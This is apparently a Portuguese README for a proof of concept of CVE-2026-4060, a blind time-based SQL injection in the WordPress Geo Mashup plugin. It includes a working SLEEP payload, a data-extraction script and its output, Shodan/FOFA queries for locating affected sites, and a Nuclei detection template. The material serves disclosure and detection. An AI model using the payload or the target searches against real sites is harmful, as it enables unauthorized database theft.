
Prova de conceito para CVE-2026-4060: injeção SQL cega baseada em tempo sem autenticação no plugin Geo Mashup do WordPress via cláusula ORDER BY. Inclui script de exploit, ambiente de laboratório e template de detecção Nuclei.
Atacantes não autenticados podem injetar SQL arbitrário na cláusula
ORDER BYpor meio do parâmetrosortdo endpointrender-mapdo Geo Mashup, permitindo a extração cega baseada em tempo de informações sensíveis do banco de dados.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2026-4060 |
| Plugin | Geo Mashup por cyberhobo |
| Afetado | ≤ 1.13.18 |
| Corrigido em | 1.13.19 |
| CVSS v3.1 | 7.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Neutralização Incorreta de Elementos Especiais em SQL |
| Autenticação necessária | Nenhuma (não autenticado) |
O parâmetro sort aceito pelo endpoint render-map é passado diretamente para uma chamada $wpdb->get_results() sem sanitização:
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Como $sort é interpolado diretamente, um atacante pode injetar uma subconsulta na cláusula ORDER BY. O wpdb do WordPress escapa aspas simples, então a PoC usa ORD(SUBSTRING(...)) com comparações numéricas para contornar essa restrição e realizar extração cega baseada em tempo.
Endpoint vulnerável:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
| Componente | Versão |
|---|---|
| SO | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (vulnerável) |
| Python | 3.x (para poc.py) |
| Nuclei | v3.8.0 |
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 ativo no administrador do WordPress:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
O setup.sh vai:
Após a conclusão:
http://localhost:8080http://localhost:8080/wp-admin (usuário: admin / senha: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
Um atraso de resposta de ~8 segundos confirma a injeção SQL em ORDER BY.
# Default — print extracted results only
python3 poc.py --url http://localhost:8080
# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose
# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
Injetar uma subconsulta SLEEP(8) via parâmetro sort produz um atraso de resposta de ~8 segundos.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

A PoC extrai dados caractere por caractere usando comparações ORD(SUBSTRING(...)): enviar payload → medir o tempo de resposta → confirmar o caractere quando o SLEEP é acionado.
python3 poc.py --url http://localhost:8080 --verbose

Dados extraídos:
| Consulta | Resultado |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
O template do Nuclei usa um fluxo em duas etapas para evitar falsos positivos.
Se readme.txt retornar 404 na Etapa 1, o scan sai imediatamente sem enviar o payload SQL.
Scan completed in 62ms. 0 matches found. ✅
Verificação da versão do plugin via readme.txt:

Se compare_versions(version, '<= 1.13.18') falhar, a Etapa 2 é totalmente ignorada.
Scan completed in 19ms. 0 matches found. ✅
| Ação | Detalhe |
|---|---|
| Atualizar | Atualize o Geo Mashup para 1.13.19 ou posterior |
| Temporário | Desative o plugin até que uma atualização seja aplicada |
| WAF | Bloqueie padrões de injeção de subconsultas em cláusulas ORDER BY |
Commit do patch: plugins.trac.wordpress.org/changeset/3503627
Template do Nuclei: nuclei/CVE-2026-4060.yaml
Fluxo de detecção:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Data | Evento |
|---|---|
| 2026-04 | Vulnerabilidade descoberta |
| 2026-04 | Reportada ao autor do plugin |
| 2026-05 | Patch do Geo Mashup 1.13.19 lançado |
| 2026-05-14 | CVE atribuída e divulgada publicamente |
Este repositório destina-se exclusivamente a fins educacionais e de testes de segurança autorizados.
Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
O autor não é responsável por qualquer uso indevido deste material.